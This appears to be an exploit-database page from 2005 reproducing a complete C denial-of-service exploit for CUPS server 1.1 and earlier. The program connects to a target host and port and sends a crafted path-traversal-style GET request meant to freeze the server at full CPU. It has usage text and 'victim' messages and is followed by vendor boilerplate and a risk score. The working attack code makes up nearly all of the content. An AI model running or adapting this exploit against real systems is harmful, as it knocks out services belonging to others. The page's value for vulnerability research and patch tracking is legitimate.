Lucene search
K

CUPS Server <= 1.1 (Get Request) Denial of Service Exploit

🗓️ 05 Sep 2005 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

CUPS Server <= 1.1 (Get Request) Denial of Service Exploi

Code

                                                /* dl-cups.c v0.1
 * CUPS server freeze and processor load &quot;fuckup&quot; exploit
 * bug found and exploit coded by tracewar  (darklogic team)
 * for educaional purposes only.
 *****************************************************************
 * greetz goes to:
 * setuid, matan.
 */

#include &lt;stdio.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;netdb.h&gt;

char EVIL[] = &quot;\x2e\x2e\x5c\x2e\x2e&quot;;

void usage(char *argv0) {
	fprintf(stdout, &quot;cups/1.x server freeze and remote cpu usage fuckup\n&quot;);
	fprintf(stdout, &quot;exploit coded and bug found by tracewar of darklogic\n\n&quot;);
	fprintf(stdout, &quot;usage: %s remote_host remote_port\n&quot;, argv0);
	exit(0);
}

int main(int argc, char **argv) {
	char	buffer[50] = &quot;GET /&quot;;
	int	sock;
        struct	sockaddr_in	serv_addr;
        struct	hostent	*crap;

	if(argc != 3)
		usage(argv[0]);

	printf(&quot;# Making our evil buffer... &quot;);	
	snprintf(&amp;buffer[5], 47, &quot;%s&quot;, EVIL);        
	strcat(buffer, &quot;\r\n&quot;);
	printf(&quot;(done)\n&quot;);

        sock = socket(AF_INET, SOCK_STREAM, 0);
        if(sock &lt; 0)
                return printf(&quot;# error creating socket.\n&quot;);
        crap = gethostbyname(argv[1]);
        if(crap == NULL)
                return printf(&quot;# cant resolve the specified hostname: %s\n&quot;, argv[1]);
        else
                printf(&quot;# connecting to victim... &quot;);

        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(atoi(argv[2]));
        bcopy((char *)crap-&gt;h_addr, (char *)&amp;serv_addr.sin_addr.s_addr, crap-&gt;h_length);

        if (connect(sock, &amp;serv_addr, sizeof(serv_addr)) &lt; 0)
                return printf(&quot;(error)\n# check again %s:%d\n&quot;, argv[1], atoi(argv[2]));

        printf(&quot;(done)\n# sending crafted string... &quot;);
        if( (send(sock, buffer, strlen(buffer), 0)) == -1 )
                return printf(&quot;\n# error while sending the crafted string.!\n&quot;);
	close(sock);
        return puts(&quot;(done)\n# The server should be frozen now with 100\% cpu usage.&quot;);

}

// milw0rm.com [2005-09-05]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Sep 2005 00:00Current
7.1High risk
Vulners AI Score7.1
19